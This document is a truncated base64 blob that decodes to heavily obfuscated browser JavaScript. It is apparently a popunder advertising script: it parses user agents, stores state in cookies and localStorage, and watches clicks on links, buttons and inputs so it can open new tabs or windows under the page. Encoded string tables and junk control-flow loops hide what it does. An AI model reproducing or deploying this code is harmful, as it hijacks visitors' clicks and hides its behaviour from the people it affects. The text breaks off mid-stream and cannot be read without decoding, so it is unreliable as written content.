XdicHxteXdhfG4xMFswLTJdfG4yMFsyLTNdfG4zMCgwfDIpfG41MCgwfDJ8NSl8bjcoMCgwfDEpfDEwKXxuZSgoY3xtKVwtfG9ufHRmfHdmfHdnfHd0KXxub2soNnxpKXxuenBofG8yaW18b3AodGl8d3YpfG9yYW58b3dnMXxwODAwfHBhbihhfGR8dCl8cGR4Z3xwZygxM3xcLShbMS04XXxjKSl8cGhpbHxwaXJlfHBsKGF5fHVjKXxwblwtMnxwbyhja3xydHxzZSl8cHJveHxwc2lvfHB0XC1nfHFhXC1hfHFjKDA3fDEyfDIxfDMyfDYwfFwtWzItN118aVwtKXxxdGVrfHIzODB8cjYwMHxyYWtzfHJpbTl8cm8odmV8em8pfHM1NVwvfHNhKGdlfG1hfG1tfG1zfG55fHZhKXxzYygwMXxoXC18b298cFwtKXxzZGtcL3xzZShjKFwtfDB8MSl8NDd8bWN8bmR8cmkpfHNnaFwtfHNoYXJ8c2llKFwtfG0pfHNrXC0wfHNsKDQ1fGlkKXxzbShhbHxhcnxiM3xpdHx0NSl8c28oZnR8bnkpfHNwKDAxfGhcLXx2XC18diApfHN5KDAxfG1iKXx0MigxOHw1MCl8dDYoMDB8MTB8MTgpfHRhKGd0fGxrKXx0Y2xcLXx0ZGdcLXx0ZWwoaXxtKXx0aW1cLXx0XC1tb3x0byhwbHxzaCl8dHMoNzB8bVwtfG0zfG01KXx0eFwtOXx1cChcLmJ8ZzF8c2kpfHV0c3R8djQwMHx2NzUwfHZlcml8dmkocmd8dGUpfHZrKDQwfDVbMC0zXXxcLXYpfHZtNDB8dm9kYXx2dWxjfHZ4KDUyfDUzfDYwfDYxfDcwfDgwfDgxfDgzfDg1fDk4KXx3M2MoXC18ICl8d2ViY3x3aGl0fHdpKGcgfG5jfG53KXx3bWxifHdvbnV8eDcwMHx5YXNcLXx5b3VyfHpldG98enRlXC0vaTtoZT13NS5aNigxNCk7ZmU9dzUuWjYoMjMpO3BlPXc1Llo2KDExMSk7X2U9dzUuWjYoMjYwKTtsZT0vbWFjaW50b3NoLztkZT13NS5mNig5MCk7dmU9dzUuZjYoMzMyKTtiZT13NS5mNigyMDApO21lPS9tb3ppbGxhLztnZT13NS5mNigxNzQpO3llPXc1LmY2KDEzNSk7a2U9dzUuZjYoMzc4KTt3ZT0vKD86XHcrKVwvKFtcZFwuXSspKD86JHxcc3xcL3xcKSkrL2k7eGU9dzUuWjYoMzQpO09lPXc1LmY2KDM3Nyk7Q2U9dzUuZjYoNDcyKTtFZT13NS5mNigxMTUpO1BlPXc1Llo2KDE5NCk7VGU9dzUuZjYoNDE0KTtBZT13NS5mNig2NSk7RmU9dzUuWjYoMTA3KTtTZT13NS5mNig0MDMpO2plPXc1LmY2KDI5Mik7TGU9dzUuWjYoNTgpO3plPXc1Llo2KDE2NCk7QmU9Lyg/Ok9QUnxPcGVyYXxPUGlPUylcLyhbXGRcLl0rKSg/OiR8XHN8XC98XCkpKy9pO0llPXc1LmY2KDIyOSk7TWU9dzUuWjYoNDY3KTtXZT13NS5mNig0NjMpO0RlPXc1Llo2KDQzNyk7VWU9dzUuZjYoMTkzKTtSZT13NS5aNigzMyk7TmU9dzUuZjYoODUpO0hlPXc1LmY2KDQwOCk7cWU9dzUuZjYoMjApO0plPXc1Llo2KDk4KTtWZT13NS5mNigxMzYpOyRlPXc1LmY2KDI3Nyk7UWU9dzUuWjYoNyk7R2U9dzUuWjYoODYpO1llPXc1LmY2KDE3NSk7S2U9dzUuWjYoMjcxKTtaZT13NS5aNigzOTkpO1hlPXc1LmY2KDEzMyk7dGk9dzUuWjYoOTUpO2VpPXc1LmY2KDE1Mik7aWk9dzUuWjYoMzEyKTtuaT13NS5aNigyOTgpO3JpPXc1Llo2KDQzMyk7b2k9dzUuZjYoMTgzKTtzaT0vYW5kcm9pZHx3ZWJvc3xpcGhvbmV8aXBhZHxpcG9kfGJsYWNrYmVycnl8aWVtb2JpbGV8b3BlcmFccyttaW5pLzthaT13NS5aNigzODIpO2NpPXc1LmY2KDEyNyk7dWk9dzUuWjYoMzM2KTtoaT13NS5aNigyOTUpO2ZpPXc1Llo2KDMwNyk7cGk9dzUuZjYoMjUxKTtfaT13NS5mNig0MTkpO2xpPXc1LmY2KDMxKTtkaT13NS5aNigyNzQpO3ZpPXc1LmY2KDQ0Nik7Ymk9dzUuWjYoMTYzKTttaT13NS5mNig5NCk7Z2k9dzUuWjYoMjIwKTt5aT13NS5aNigzNTQpO2tpPXc1Llo2KDE4Nik7d2k9dzUuZjYoNDEyKTt4aT13NS5mNig0NDcpO09pPXc1Llo2KDQwNCk7Q2k9dzUuZjYoNTIpO0VpPXc1Llo2KDY4KTtQaT13NS5mNigzNSk7VGk9dzUuZjYoNTYpO0FpPXc1LmY2KDEwMyk7Rmk9dzUuWjYoMzc5KTtTaT13NS5mNig0NTEpO2ppPXc1Llo2KDQ3NSk7TGk9dzUuWjYoMjEpO3ppPXc1LmY2KDE3MSk7Qmk9dzUuZjYoMTMxKTtJaT13NS5mNig0ODgpO01pPXc1LmY2KDE4MCk7V2k9dzUuWjYoNDQ1KTtEaT0vYnV0dG9ufGlucHV0L2k7VWk9dzUuWjYoMTM0KTtSaT13NS5mNigyMjgpO05pPXc1LmY2KDc4KTtIaT13NS5aNig1NCk7cWk9dzUuWjYoMTY3KTtKaT13NS5mNig0NjUpO1ZpPXc1Llo2KDMzNSk7JGk9dzUuZjYoMTY5KTtRaT13NS5mNigzNjgpO0dpPXc1LmY2KDI4Nyk7WWk9dzUuWjYoMzQ4KTtLaT13NS5mNigzMDEpO1ppPXc1LmY2KDQ0KTtYaT13NS5mNigyNjQpO3RuPXc1LmY2KDc3KTtlbj13NS5mNig0NjApO25uPXc1LmY2KDMzNyk7cm49dzUuWjYoMTU3KTtvbj13NS5aNigzMjUpO3NuPXc1LmY2KDIzNyk7YW49dzUuZjYoNDg2KTtjbj13NS5mNigxNTUpO3VuPXc1Llo2KDEwNCk7aG49dzUuWjYoMzU2KTtmbj13NS5aNig0OCk7cG49dzUuZjYoMjQyKTtfbj13NS5mNig0MDApO2xuPXc1Llo2KDI2NSk7ZG49dzUuZjYoMjg0KTt2bj13NS5aNigyODgpO2JuPXc1LmY2KDQzOSk7bW49dzUuWjYoMzQxKTtnbj13NS5aNigyMDMpO3luPXc1LmY2KDIxNyk7a249dzUuWjYoMzIxKTt3bj13NS5mNig0MzIpO3huPXc1LmY2KDIyKTtPbj02NDc9PSg0OTguMjUsMjAwKT8oMS42OWUrMyw0NjkpOnc1LmY2KDk2KTtDbj13NS5mNigzODMpO0VuPXc1LmY2KDM1OSk7UG49dzUuWjYoMzUwKTtUbj0vXk9wZXJhXC8uKj9QcmVzdG9cLy4qP1ZlcnNpb25cLyhbXGRcLl0rKS9pO0FuPXc1Llo2KDE5MSk7Rm49dzUuZjYoNDQ4KTtTbj13NS5mNigyNDQpO2puPXc1Llo2KDIzMSk7TG49dzUuZjYoMTIwKTt6bj13NS5mNig0NTApO0JuPXc1Llo2KDExOCk7SW49dzUuZjYoNik7TW49dzUuWjYoNzUpO1duPXc1LmY2KDEyMyk7RG49dzUuWjYoMzA0KTtVbj0vcmVzZXR8YnV0dG9ufHN1Ym1pdC9pO1JuPXc1LmY2KDQ4NCk7Tm49dzUuZjYoMTk2KTtIbj13NS5mNigyMjYpO3FuPXc1LmY2KDM1Myk7Sm49dzUuWjYoMTgpO1ZuPXc1LmY2KDE2OCk7JG49dzUuZjYoMzE0KTtRbj13NS5aNig0NzEpO0duPXc1LmY2KDQ1OSk7WW49dzUuZjYoMzE3KTtLbj13NS5mNigyNDkpO1puPS9WZXJzaW9uXC8oW1xkXC5dKylccysobW9iaWxlXC9bXlxzXStccyspP1NhZmFyaS9pO1huPXc1LmY2KDE0NSk7dHI9dzUuWjYoMjQwKTtlcj13NS5mNigxOSk7aXI9dzUuWjYoNDg5KTtucj13NS5aNigyNzYpO3JyPXc1LmY2KDQ4Mik7b3I9dzUuZjYoNDY2KTtzcj13NS5aNigyNzApO2FyPXc1Llo2KDE0Nyk7Y3I9dzUuZjYoMjQpO3VyPXc1LmY2KDgzKTtocj13NS5aNigyNzkpO2ZyPXc1Llo2KDQzKTtwcj13NS5mNig0MjApO19yPXc1LmY2KDQ2Mik7bHI9L2Nocm9tZXxjcmlvcy87ZHI9dzUuWjYoNDExKTt2cj0vIy4qJC87YnI9dzUuZjYoMTU5KTttcj13NS5aNigwKTtncj0vKGNvbXBhdGlibGV8d2Via2l0KS87eXI9L0Z4aU9TXC8oW1xkXC5dKykvaTtrcj13NS5mNig1OSk7d3I9dzUuWjYoMzgpO3hyPXc1LmY2KDE5OCk7T3I9dzUuZjYoMTApO0NyPXc1LmY2KDQ2NCk7RXI9dzUuWjYoMTE2KTtQcj13NS5mNigzNjkpO1RyPXc1LmY2KDEyMSk7QXI9L21zaWV8dHJpZGVudFwvLztGcj13NS5mNigyNTYpO1NyPXc1LmY2KDQ3MCk7anI9dzUuZjYoMjkzKTtMcj13NS5mNig4Nyk7enI9L2Nocm9tZXxvcGVyYXxlZGdlfGNyaW9zfG9waW9zfGZ4aW9zfHVjL2k7QnI9dzUuWjYoMjUyKTtJcj13NS5aNigxMDgpO01yPXc1LmY2KDkxKTtXcj13NS5mNigyKTtEcj13NS5mNigyNjgpO1VyPXc1Llo2KDI3OCk7UnI9dzUuWjYoMzI2KTtOcj13NS5mNig5KTtIcj13NS5mNigxMzIpO3FyPXc1Llo2KDMyNCk7SnI9LyhhbmRyb2lkfGJiXGQrfG1lZWdvKS4rbW9iaWxlfGF2YW50Z298YmFkYVwvfGJsYWNrYmVycnl8YmxhemVyfGNvbXBhbHxlbGFpbmV8ZmVubmVjfGhpcHRvcHxpZW1vYmlsZXxpcChob25lfG9kKXxpcGFkfGlyaXN8a2luZGxlfEFuZHJvaWR8U2lsa3xsZ2UgfG1hZW1vfG1pZHB8bW1wfG5ldGZyb250fG9wZXJhIG0ob2J8aW4paXxwYWxtKCBvcyk/fHBob25lfHAoaXhpfHJlKVwvfHBsdWNrZXJ8cG9ja2V0fHBzcHxzZXJpZXMoNHw2KTB8c3ltYmlhbnx0cmVvfHVwXC4oYnJvd3NlcnxsaW5rKXx2b2RhZm9uZXx3YXB8d2luZG93cyAoY2V8cGhvbmUpfHhkYXx4aWluby9pO1ZyPSgyNDk2LDg0OTUpIT05NzY/dzUuZjYoMjk3KTohITA7JHI9dzUuWjYoNDI2KTtRcj13NS5mNigyMjUpO0dyPXc1LmY2KDE4OCk7WXI9dzUuZjYoNDMxKTtLcj13NS5mNigyNTApO1pyPXc1Llo2KDI2MSk7WHI9dzUuZjYoMTc2KTt0bz13NS5mNigyNSk7ZW89dzUuWjYoMTk1KTtpbz13NS5mNigzMjgpO25vPXc1Llo2KDQwOSk7cm89dzUuZjYoMzQ5KTtvbz13NS5aNigzMjIpO3NvPXc1Llo2KDMxNik7YW89dzUuWjYoMzg1KTtjbz13NS5mNigxMTMpO3VvPXc1LmY2KDQ3NCk7aG89dzUuWjYoMjY3KTtmbz13NS5mNigyNjYpO3BvPXc1Llo2KDQwNyk7X289dzUuWjYoNjMpO2xvPXc1Llo2KDM2Nyk7dm89L3dlYmtpdC87Ym89dzUuWjYoNDUyKTttbz0vc2FmYXJpLztnbz13NS5aNig5Myk7eW89L29wZXJhfG9wcnxvcGlvc1wvLztrbz13NS5aNigzMzEpO3dvPXc1LmY2KDI2KTt4bz13NS5aNigxODIpO09vPXc1LmY2KDM4MCk7Q289dzUuWjYoMTEwKTtFbz13NS5mNigxMTIpO1BvPXc1LmY2KDMwNSk7VG89dzUuZjYoNzQpO0FvPXc1LmY2KDEwMik7Rm89dzUuZjYoNDc4KTtTbz0vYW5kcm9pZC87am89dzUuZjYoMzkxKTtMbz13NS5aNigzMDYpO3pvPXc1LmY2KDQwNSk7Qm89dzUuWjYoOTkpO0lvPXc1Llo2KDM5Nik7TW89dzUuWjYoNDQwKTtXbz13NS5mNig2Nyk7RG89dzUuWjYoNDAxKTtVbz13NS5aNigxNTQpO1JvPXc1LmY2KDI4OSk7Tm89dzUuWjYoMzkzKTtIbz13NS5mNig3OSk7cW89dzUuWjYoMTQwKTtKbz13NS5aNigzNzIpO1ZvPXc1Llo2KDQyMik7JG89dzUuZjYoNDQ5KTtRbz13NS5aNigzOTUpO0dvPXc1Llo2KDIwNik7WW89dzUuWjYoMjQzKTtLbz13NS5mNig2Mik7Wm89dzUuWjYoNDg1KTtYbz13NS5mNigxMzApO3RzPXc1Llo2KDE1Nik7ZXM9dzUuZjYoMjAxKTtpcz13NS5aNigzNjEpO25zPXc1LmY2KDMxNSk7cnM9dzUuWjYoMTIyKTtvcz13NS5mNig3MCk7c3M9dzUuZjYoMjU3KTthcz13NS5aNig0MjUpO2NzPXc1LmY2KDMzMCk7dXM9dzUuZjYoNzMpO2hzPXc1LmY2KDMwMyk7ZnM9dzUuWjYoMTAwKTtwcz13NS5mNigzNzQpO19zPXc1Llo2KDY2KTtscz0oODI2LjA2LDk5Ny4yKSE9PSgyNjIuNzksNzAwLjQpP3c1LmY2KDE3OSk6KG81LHc1Llo2KDM2KSk7ZHM9dzUuWjYoMjIzKTt2cz13NS5mNigxMTkpO2JzPXc1Llo2KDMwOCk7bXM9dzUuZjYoNDcpO2dzPXc1Llo2KDMxOSk7eXM9dzUuZjYoMTgxKTtrcz13NS5mNigzNDUpO3dzPXc1Llo2KDE1KTt4cz0vXigjfGphdmFzY3JpcHQpL2k7T3M9dzUuWjYoMzY2KTtDcz13NS5aNigxOTkpO0VzPXc1Llo2KDM4NCk7UHM9dzUuZjYoNDA2KTtUcz13NS5mNig0MjkpO0FzPXc1LmY2KDI0Nyk7RnM9dzUuZjYoNDQzKTtTcz13NS5mNigzMzgpO2pzPS8oPzpGaXJlZm94fENocm9tZSlcLyhbXGRcLl0rKSg/OiR8XHN8XC98XCkpKy9pO0xzPXc1Llo2KDM3MCk7enM9dzUuZjYoMzEwKTtCcz13NS5aNigzODYpO0lzPXc1Llo2KDI5NCk7TXM9dzUuWjYoMjgzKTtXcz13NS5aNigzODcpO0RzPXc1LmY2KDM5KTtVcz13NS5aNigxMDYpO1JzPXc1LmY2KDIwMik7TnM9dzUuWjYoMzExKTtIcz13NS5mNig0MzgpO3FzPXc1LmY2KDcxKTtKcz13NS5mNigxMzcpO1ZzPXc1Llo2KDI3KTskcz13NS5aNig4NCk7UXM9L18vZztHcz13NS5aNigxNTgpO1lzPXc1Llo2KDE5Mik7S3M9dzUuZjYoNDIzKTtacz13NS5mNigzMzkpO1hzPXc1Llo2KDE1MCk7dGE9dzUuWjYoMTQyKTtlYT13NS5mNig0KTtpYT13NS5aNig0MTApO25hPXc1LmY2KDIzNik7cmE9dzUuZjYoNDAyKTtvYT13NS5mNigyMTQpO3NhPXc1Llo2KDQxNyk7YWE9dzUuZjYoMTg0KTtjYT13NS5aNigxOTcpO3VhPXc1LmY2KDIzMyk7aGE9dzUuZjYoMzApO2ZhPS9saW51eC87cGE9dzUuWjYoMjgyKTtfYT0vb3BlcmEvO2xhPXc1Llo2KDM2NCk7ZGE9dzUuWjYoMTczKTt2YT13NS5aNigzMDApO2JhPXc1LmY2KDIzNSk7bWE9L2VkZ2V8b3ByXC8vO2dhPXc1LmY2KDI4NSk7eWE9dzUuZjYoNDYpO2thPXc1Llo2KDEzKTt3YT13NS5aNigyMDUpO3hhPXc1LmY2KDIyNCk7T2E9dzUuZjYoMzQ0KTtDYT13NS5aNigyMTMpO0VhPS9FZGdlXC8oW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTtQYT13NS5mNigxMjYpO1RhPXc1Llo2KDExNCk7QWE9L14oPzouKlteXHddKSooW1x3XSspXHMqJC9pO0ZhPXc1LmY2KDM5Mik7U2E9dzUuWjYoNjkpO2phPXc1LmY2KDMpO0xhPXc1LmY2KDQ1KTt6YT13NS5mNigzMjMpO0JhPXc1LmY2KDEzOSk7SWE9dzUuWjYoMTI5KTtNYT13NS5mNig4KTtXYT13NS5mNig0Mik7RGE9dzUuZjYoMSk7VWE9dzUuWjYoODkpO1JhPXc1LmY2KDIwOSk7TmE9dzUuZjYoMjgpO0hhPXc1LmY2KDIxOSk7cWE9dzUuWjYoMjMwKTtKYT13NS5aNig4MSk7VmE9dzUuWjYoMzA5KTskYT13NS5mNigzNDcpO1FhPXc1LmY2KDM4MSk7R2E9dzUuWjYoOTIpO1lhPXc1LmY2KDEyNSk7S2E9dzUuWjYoMzIpO1phPXc1LmY2KDM5MCk7WGE9dzUuZjYoNDY4KTt0Yz13NS5mNigzNik7ZWM9dzUuZjYoMzk3KTtpYz13NS5aNig0ODApO25jPXc1LmY2KDIyMik7cmM9dzUuZjYoNDU3KTtvYz13NS5aNigzNTIpO3NjPXc1Llo2KDI5KTthYz0vaShQaG9uZXxQYWR8UG9kKS9pO2NjPXc1LmY2KDQzNCk7dWM9dzUuZjYoNDIxKTtoYz13NS5aNig0NzMpO2ZjPXc1LmY2KDE3MCk7cGM9dzUuZjYoMjYyKTtfYz13NS5aNigxNTEpO2xjPXc1LmY2KDQ5KTtkYz13NS5mNigyNTQpO3ZjPXc1LmY2KDQyOCk7YmM9dzUuZjYoMTUzKTttYz13NS5aNigyNjkpO2djPXc1Llo2KDU3KTt5Yz13NS5mNigzNTcpO2tjPS9UcmlkZW50XC8uKj9ydjooW1xkXC5dKykoPzokfFxzfFwvfFwpKSsvaTt3Yz13NS5aNig0NTMpO3hjPXc1Llo2KDQ3Nik7T2M9dzUuZjYoNDU0KTtDYz13NS5mNig0NTgpO0VjPXc1LmY2KDgwKTtQYz0vOlxkKyQvO1RjPXc1Llo2KDI3Mik7QWM9dzUuWjYoMzI3KTtGYz13NS5mNig0NzkpO1NjPXc1Llo2KDYxKTtqYz13NS5mNigyOTEpO0xjPXc1Llo2KDIzMik7emM9dzUuWjYoMTEpO0JjPXc1LmY2KDM0Nik7SWM9dzUuWjYoMTA1KTtNYz13NS5aNig0NzcpO1djPXc1Llo2KDQwKTtEYz13NS5aNig3Nik7VWM9dzUuWjYoMTYpO1JjPXc1Llo2KDIyNyk7TmM9dzUuWjYoMjA0KTtIYz13NS5mNigzNyk7IWZ1bmN0aW9uKHQseSxSdCxYZSxyaSx5aSxBaSxObixkcixVcixpbyxybyxDbyxHcyx6YyxVYyxxYyxKYyxWYywkYyl7InVzZSBzdHJpY3QiO3ZhciBRYyxHYyxZYyxLYyxaYyxYYyx0dSxldSxpdSxudSxydSxvdSxzdSxhdSxjdSx1dSxodSxmdSxwdSxfdSxsdSxkdSx2dSxidSxtdSxndSx5dSxrdSx3dSx4dSxPdSxDdSxFdSxQdSxUdSxBdSxGdTtydT10O3c1Llk0KDApO291PXc1LmM0KHVpLEdyLGJyLF9yLFllLFNpLFR0LGRuLFllLHUsbWksT3QsR3IsWWUsdXIpO3c1Llk0KDEpO3N1PXc1LnU0KGZlLFR0LEh0LG90LFR0KTt3NS5vNCgxKTthdT13NS51NChXaSxQZSxLLF9jLFBlKTt3NS5ZNCgyKTtjdT13NS5jNChydSxnaSk7dzUubzQoMik7dXU9dzUudTQocnUsWm8pO3c1Lm80KDMpO2h1PXc1LmM0KE9jLHJ1LEJpLFV0LEdyLEdyKTt3NS5vNCgyKTtmdT13NS51NChydSwkYSk7cHU9YW87X3U9eGk7bHU9THI7ZHU9bW47dnU9eVtmXVtxbytHcitDXVtYcytHcit0cytHcituY10oKTtidT17dW5kZXI6bzUsbmV3VGFiOm81fTttdT1udWxsO2d1PW81O3l1PSF7fTtrdT1mdW5jdGlvbigpe307dzUuWTQoNCk7d3U9dzUudTQoR3IsT3QsRXQpO3h1PXJpW3ZzK0dyK0FvXXx8e3NyYzpudWxsfTt3NS5vNCg0KTtPdT15W2ZdW3c1LmM0KGVvLEdyLGtyKV07Q3U9eXU7RXU9eXU7UHU9eXU7VHU9ZnVuY3Rpb24oKXt2YXIgRTksbzksdzk7dHJ5e0U5PTM2MDIzMDM0MztvOT01MDA4ODEwMDM7dzk9Mjtmb3IodmFyIGI1PTE7dzUuTDEoYjUudG9TdHJpbmcoKSxiNS50b1N0cmluZygpLmxlbmd0aCw1ODI0MykhPT1FOTtiNSsrKXtyZXR1cm4geVtwXT09PXlbcXJdfHwheVtwXVttcl1bRWldWyhYcy1HciklaF0oKSE9VGM/eVtwXTp5W3FyXTt3OSs9Mjt9aWYodzUuTDEodzkudG9TdHJpbmcoKSx3OS50b1N0cmluZygpLmxlbmd0aCw1MTUyOSkhPT1vOSl7cmV0dXJuIHlbcF0hPT15W3FyXSYmdHlwZW9mIHlbcF1bbXJdW0VpXVtYcytHcitoXSgpPT09VGM/eVtwXTp5W3FyXTt9fWNhdGNoKHQpe3ZhciBBOSxJOSxLOTtBOT0yMjIyMDY4MDc7STk9NDU1MTUwMTA4O0s5PTI7Zm9yKHZhciBROT0xO3c1LkwxKFE5LnRvU3RyaW5nKCksUTkudG9TdHJpbmcoKS5sZW5ndGgsNjg5NDApIT09QTk7UTkrKyl7cmV0dXJuIFB1PWd1LHlbcXJdO0s5Kz0yO31pZih3NS5MMShLOS50b1N0cmluZygpLEs5LnRvU3RyaW5nKCkubGVuZ3RoLDU2NzU3KSE9PUk5KXtyZXR1cm4gUHU9Z3UseVtxcl07fX19KCk7QXU9VHVbSmFdW1FhXTtGdT1mdW5jdGlvbigpe3ZhciB0O3RyeXt0PVR1W0VpXVt1bl07fWNhdGNoKHQpe31yZXR1cm4hUHUmJnR8fChidT17bmV3VGFiOmd1LHVuZGVyOnl1fSx0PXJpW2lhXSksdDt9KCk7S2M9e3Q6W10sbjpmdW5jdGlvbih0KXt2YXIgSDcsdjcsVDc7SDc9MTg2NDAwNjYwNDt2Nz03MzE4NDIzNTE7VDc9Mjtmb3IodmFyIG83PTE7dzUuZDEobzcudG9TdHJpbmcoKSxvNy50b1N0cmluZygpLmxlbmd0aCw5MTY5NikhPT1INztvNysrKXt0eXBlb2YgeVt3c10hPT1nZSYmeVt3c11bT29dJiZObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO1Q3Kz0yO31pZih3NS5kMShUNy50b1N0cmluZygpLFQ3LnRvU3RyaW5nKCkubGVuZ3RoLDI0OTc5KSE9PXY3KXt+eVt3c109PT1nZXx8eVt3c11bT29dfHxObltvYV1bQ2ldKHlbd3NdW09vXSxjb25zb2xlLHQpO319LHI6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9MDt0PHRoaXMudFtwaV07dCsrKXt0aGlzLm4odGhpcy50W3RdKTt9fSxlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9W3RdW0tuXShBaVtYdF1bcW5dW0NpXShhcmd1bWVudHMsMSkpO3RoaXMudFtNcl0oZSk7R2MuaSgpJiZ0aGlzLm4oZSk7fX07ZXU9e3M6ZnVuY3Rpb24oKXtpZih0aGlzLm89PT1tdSl0cnl7eVthcytHcit0aV1bbGkrR3IrRXJdKHJ1LDEpO3lbYXMrR3IrdGldW3huK0dyK0VyXShydSk7dGhpcy5vPWd1O31jYXRjaCh0KXt2YXIgdzcscDcsYjk7dzc9LTE2MTA5ODQyMzA7cDc9OTg2NDU4NDQ2O2I5PTI7Zm9yKHZhciBtOT0xO3c1LmQxKG05LnRvU3RyaW5nKCksbTkudG9TdHJpbmcoKS5sZW5ndGgsODg3MTMpIT09dzc7bTkrKyl7dGhpcy5vPXl1O2I5Kz0yO31pZih3NS5MMShiOS50b1N0cmluZygpLGI5LnRvU3RyaW5nKCkubGVuZ3RoLDMzNDE0KSE9PXA3KXt0aGlzLm89eXU7fXRoaXMubz15dTt9cmV0dXJuIHRoaXMubzt9LHU6ZnVuY3Rpb24odCl7dGhpcy5zKCk/eVthcytHcit0aV1beG4rR3IrRXJdKHQpOnR1LnUodCk7fSxjOmZ1bmN0aW9uKHQpe3RyeXtyZXR1cm4gdGhpcy5zKCk/eVthcytHcit0aV1bYWErR3IrRXJdKHQpOnR1LmModCk7fWNhdGNoKHQpe3JldHVybiBtdTt9fSxvOm11LGE6ZnVuY3Rpb24odCxlKXt0aGlzLnMoKT95W2FzK0dyK3RpXVtsaStHcitFcl0odCxlKTp0dS5hKHQsZSk7fX07dHU9e3U6ZnVuY3Rpb24odCl7dGhpcy5hKHQsMCxuZXcgSmMoMCkpO30sYzpmdW5jdGlvbih0KXt2YXIgZTt3NS5ZNCg1KTtlPXJpW050XVtiY10obmV3IFVyKHc1LnU0KGVyLEdyLEdyLGV0LHNjLHQsR3IsR3IsdHQsdWMsR3IsR3IsSm8sR3IpLGxzKSk7cmV0dXJuIGU/VmMoZVswXVtDcl0oR3IrZXQrR3IpWzFdKTptdTt9LGE6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO3M9aXx8R3I7cyYmKHR5cGVvZiBzPT09V3Q/KG89bmV3IEpjKCkpW2xpK0dyK0hdKG9bYWErR3IrSF0oKSsxZTMqcyk6bz1zLHM9R3IrZXIrZmkrZXQrR3Irb1tYcytHcitWcitHcit4YytHcitXK0dyK2hdKCkpO3JpW050XT10KyhHcitldCtHcikrJGMoR3IrZSkrcysocj9HcitlcitkcytldCtHcityOkdyKSsoR3IrZXIrQXQrZXQrR3IpKyhufHxHcitQZStHcik7fX07WmM9e3A6ZnVuY3Rpb24odCl7dmFyIGUsaTtpPXt9O2ZvcihlPTA7ZTx0W3BpXTtlKyspe2lbdFtlXVswXV09dFtlXVsxXTt9cmV0dXJuIGk7fSxXOmZ1bmN0aW9uKHQsZSxpKXt2YXIgbjt0cnl7cmV0dXJuIG49dFthYStHcitHaV0oZSksdHlwZW9mIGkhPT1UYz95dTohIW5ldyBVcihGbitpK01zLGxzKVtqY10obik7fWNhdGNoKHQpe3JldHVybiB5dTt9fSxBOmZ1bmN0aW9uKCl7dHJ5e3JldHVybiB0eXBlb2YgeS5qUXVlcnkuZm4ub249PT1aczt9Y2F0Y2godCl7cmV0dXJuIHl1O319LEc6ZnVuY3Rpb24odCl7cmV0dXJuKHQ/bmV3IEpjKHQpOm5ldyBKYygpKVthYStHcitIXSgpO30sTTpmdW5jdGlvbih0KXt2YXIgbTAsQTAsSTAsZSxsNyxjNyxWNzttMD0tMTc4MjYxMjU4MTtBMD0tMTYzMzI0MDE2NDtJMD0yO2Zvcih2YXIgcjA9MTt3NS5MMShyMC50b1N0cmluZygpLHIwLnRvU3RyaW5nKCkubGVuZ3RoLDM0ODU4KSE9PW0wO3IwKyspe0kwKz0yO31pZih3NS5MMShJMC50b1N0cmluZygpLEkwLnRvU3RyaW5nKCkubGVuZ3RoLDg0OTA2KSE9PUEwKXt9dHJ5e2w3PS0xMjU4NTI0ODY5O2M3PTc3MTI1MDQ2ODtWNz0yO2Zvcih2YXIgeTc9MTt3NS5kMSh5Ny50b1N0cmluZygpLHk3LnRvU3RyaW5nKCkubGVuZ3RoLDEwMjkyKSE9PWw3O3k3KyspeyhlPXRbSmFdW1FhXShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7VjcrPTI7fWlmKHc1LmQxKFY3LnRvU3RyaW5nKCksVjcudG9TdHJpbmcoKS5sZW5ndGgsMjYwMTcpIT09YzcpeyhlPXRbSmFdW1FhXSgoVWEtVnQpL2NpKSlbYm9dKCk7ZVtJb10oKTt9fWNhdGNoKHQpe30oZT1BdShVYStWdCtjaSkpW2JvXSgpO2VbSW9dKCk7fSxUOmZ1bmN0aW9uKHQpe3QmJihUdVtFaV09dCk7fSxxOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZSxpPVt5cixUbixFYSxCZSxqcyxabixqdCxrYyx3ZV0sbj0wO248aVtwaV07bisrKWlmKGU9aVtuXVtqY10odnUpKXtyZXR1cm4gdD9VYyhlWzFdLDEwKTplWzFdW1pdKFFzLEdyK1R0K0dyKTt9cmV0dXJuIG11O30sTDpmdW5jdGlvbih0LGUpe3c1Llk0KDcpO3JldHVybiB3NS51NChZZSxlcixHcix0LGllLHlzLEdyLGUsR3IsVmUsVnQsR3IpO30sXzpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUTAsZTAsajA7UTA9LTE2NDA5MDY2NDA7ZTA9MzYxNTQ4MTI4O2owPTI7Zm9yKHZhciB0MD0xO3c1LmQxKHQwLnRvU3RyaW5nKCksdDAudG9TdHJpbmcoKS5sZW5ndGgsMzk3NjcpIT09UTA7dDArKyl7aT15O3c1Llk0KDQpO249dFtDcl0odzUudTQoR3IsVHQsR3IpKTtmb3IoZT0wO2U8bltwaV07ZSsrKXtpPWlbbltlXV07fXJldHVybiBpO2owKz0yO31pZih3NS5MMShqMC50b1N0cmluZygpLGowLnRvU3RyaW5nKCkubGVuZ3RoLDQ3NjE4KSE9PWUwKXtpPXk7dzUuWTQoNik7bj10W0NyXSh3NS51NChUdCxHcixHcikpO2ZvcihlPTQ7ZTw9bltwaV07ZS0tKXtpPWlbbltlXV07fXJldHVybiBpO319LFM6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbyxzMCxEMCxXMCxVMCx4MCx6MDtvPXkualF1ZXJ5fHxudWxsO2lmKHQmJnRbQW5dKXtyZXR1cm4gZ3U7fWlmKCFvKXtyZXR1cm4geXU7fXRyeXtzMD0tMTYxNTA0NTA7RDA9LTE5OTUwMzAzNTQ7VzA9Mjtmb3IodmFyIGMwPTE7dzUuZDEoYzAudG9TdHJpbmcoKSxjMC50b1N0cmluZygpLmxlbmd0aCw5Nzc5KSE9PXMwO2MwKyspe2lmKChlPShvKHQpW2llXShHYSkmJm8uaih0LEdhKSlbZ3NdKVtwaV0pe3JldHVybiBndTt9VzArPTI7fWlmKHc1LkwxKFcwLnRvU3RyaW5nKCksVzAudG9TdHJpbmcoKS5sZW5ndGgsMjI1MTYpIT09RDApe2lmKChlPShvKHQpW2llXShHYSl8f